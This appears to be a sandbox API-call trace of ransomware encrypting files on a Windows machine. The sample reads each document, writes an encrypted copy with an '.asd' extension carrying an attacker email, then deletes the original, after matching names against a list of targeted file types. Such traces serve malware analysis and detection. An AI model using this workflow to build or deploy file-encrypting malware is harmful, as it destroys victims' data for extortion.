0x0 [0044.700] ReadFile (in: hFile=0x16c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0044.707] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0044.708] ReadFile (in: hFile=0x16c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.709] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0044.709] SetEndOfFile (hFile=0x198) returned 1 [0044.709] CloseHandle (hObject=0x198) returned 1 [0044.710] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.710] SetEndOfFile (hFile=0x16c) returned 1 [0044.710] CloseHandle (hObject=0x16c) returned 1 [0044.711] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.711] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0044.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.711] lstrlenW (lpString=".doc") returned 4 [0044.711] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.711] lstrlenW (lpString=".docx") returned 5 [0044.711] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.711] lstrlenW (lpString=".pdf") returned 4 [0044.711] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.711] lstrlenW (lpString=".xls") returned 4 [0044.711] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.711] lstrlenW (lpString=".xlsx") returned 5 [0044.711] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.711] lstrlenW (lpString=".ppt") returned 4 [0044.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString=".zip") returned 4 [0044.712] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.712] lstrlenW (lpString=".rar") returned 4 [0044.712] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString=".bz2") returned 4 [0044.712] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString=".7z") returned 3 [0044.712] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString=".dbf") returned 4 [0044.712] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString=".1cd") returned 4 [0044.712] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString=".jpg") returned 4 [0044.712] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.712] lstrlenW (lpString=".doc") returned 4 [0044.712] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString=".docx") returned 5 [0044.712] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.712] lstrlenW (lpString=".pdf") returned 4 [0044.712] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString=".xls") returned 4 [0044.712] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.712] lstrlenW (lpString=".xlsx") returned 5 [0044.712] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.712] lstrlenW (lpString=".ppt") returned 4 [0044.712] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.713] lstrlenW (lpString=".zip") returned 4 [0044.713] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.713] lstrlenW (lpString=".rar") returned 4 [0044.713] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.713] lstrlenW (lpString=".bz2") returned 4 [0044.713] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.713] lstrlenW (lpString=".7z") returned 3 [0044.713] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.713] lstrlenW (lpString=".dbf") returned 4 [0044.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.713] lstrlenW (lpString=".1cd") returned 4 [0044.713] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0044.713] lstrlenW (lpString=".jpg") returned 4 [0044.713] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.713] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.713] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0044.713] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.714] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=6421) returned 1 [0044.714] CloseHandle (hObject=0x16c) returned 1 [0044.714] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0044.715] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0044.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.715] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.715] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.715] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.715] GetLastError () returned 0x0 [0044.715] ReadFile (in: hFile=0x16c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x1915, lpOverlapped=0x0) returned 1 [0044.717] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0044.718] ReadFile (in: hFile=0x16c, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.718] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xee, lpOverlapped=0x0) returned 1 [0044.718] SetEndOfFile (hFile=0x198) returned 1 [0044.718] CloseHandle (hObject=0x198) returned 1 [0044.719] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.719] SetEndOfFile (hFile=0x16c) returned 1 [0044.720] CloseHandle (hObject=0x16c) returned 1 [0044.721] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0044.721] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0044.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.721] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.721] lstrlenW (lpString=".doc") returned 4 [0044.721] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.721] lstrlenW (lpString=".docx") returned 5 [0044.721] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.721] lstrlenW (lpString=".pdf") returned 4 [0044.721] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.721] lstrlenW (lpString=".xls") returned 4 [0044.721] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.721] lstrlenW (lpString=".xlsx") returned 5 [0044.721] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.721] lstrlenW (lpString=".ppt") returned 4 [0044.722] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString=".zip") returned 4 [0044.722] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.722] lstrlenW (lpString=".rar") returned 4 [0044.722] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString=".bz2") returned 4 [0044.722] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString=".7z") returned 3 [0044.722] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString=".dbf") returned 4 [0044.722] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString=".1cd") returned 4 [0044.722] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString=".jpg") returned 4 [0044.722] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.722] lstrlenW (lpString=".doc") returned 4 [0044.722] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString=".docx") returned 5 [0044.722] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0044.722] lstrlenW (lpString=".pdf") returned 4 [0044.722] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.722] lstrlenW (lpString=".xls") returned 4 [0044.723] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString=".xlsx") returned 5 [0044.723] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0044.723] lstrlenW (lpString=".ppt") returned 4 [0044.723] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.723] lstrlenW (lpString=".zip") returned 4 [0044.723] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.723] lstrlenW (lpString=".rar") returned 4 [0044.723] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString=".bz2") returned 4 [0044.723] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString=".7z") returned 3 [0044.723] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.723] lstrlenW (lpString=".dbf") returned 4 [0044.723] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.723] lstrlenW (lpString=".1cd") returned 4 [0044.723] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0044.723] lstrlenW (lpString=".jpg") returned 4 [0044.723] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.723] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0044.723] lstrlenW (lpString="Setup.xml") returned 9 [0044.723] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0044.732] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=16683) returned 1 [0044.732] CloseHandle (hObject=0x16c) returned 1 [0045.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.125] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.125] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.125] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.125] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.126] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.126] GetLastError () returned 0x0 [0045.126] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x412b, lpOverlapped=0x0) returned 1 [0045.131] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0045.132] ReadFile (in: hFile=0x1bc, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.132] WriteFile (in: hFile=0x1c0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0045.132] SetEndOfFile (hFile=0x1c0) returned 1 [0045.133] CloseHandle (hObject=0x1c0) returned 1 [0045.134] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.134] SetEndOfFile (hFile=0x1bc) returned 1 [0045.135] CloseHandle (hObject=0x1bc) returned 1 [0045.135] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0045.135] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0045.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.135] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.135] lstrlenW (lpString=".doc") returned 4 [0045.135] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.135] lstrlenW (lpString=".docx") returned 5 [0045.136] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.136] lstrlenW (lpString=".pdf") returned 4 [0045.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString=".xls") returned 4 [0045.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString=".xlsx") returned 5 [0045.136] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.136] lstrlenW (lpString=".ppt") returned 4 [0045.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.136] lstrlenW (lpString=".zip") returned 4 [0045.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.136] lstrlenW (lpString=".rar") returned 4 [0045.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString=".bz2") returned 4 [0045.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString=".7z") returned 3 [0045.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.136] lstrlenW (lpString=".dbf") returned 4 [0045.136] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.136] lstrlenW (lpString=".1cd") returned 4 [0045.136] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.136] lstrlenW (lpString=".jpg") returned 4 [0045.136] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.136] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.137] lstrlenW (lpString=".doc") returned 4 [0045.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString=".docx") returned 5 [0045.137] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0045.137] lstrlenW (lpString=".pdf") returned 4 [0045.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString=".xls") returned 4 [0045.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString=".xlsx") returned 5 [0045.137] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0045.137] lstrlenW (lpString=".ppt") returned 4 [0045.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.137] lstrlenW (lpString=".zip") returned 4 [0045.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.137] lstrlenW (lpString=".rar") returned 4 [0045.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString=".bz2") returned 4 [0045.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString=".7z") returned 3 [0045.137] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.137] lstrlenW (lpString=".dbf") returned 4 [0045.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.137] lstrlenW (lpString=".1cd") returned 4 [0045.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.137] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0045.138] lstrlenW (lpString=".jpg") returned 4 [0045.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.138] lstrcmpiW (lpString1=".JPG", lpString2=".asd") returned 1 [0045.138] lstrlenW (lpString="MS.JPG") returned 6 [0045.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.139] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1061) returned 1 [0045.139] CloseHandle (hObject=0x1bc) returned 1 [0045.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0045.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0045.140] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.140] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 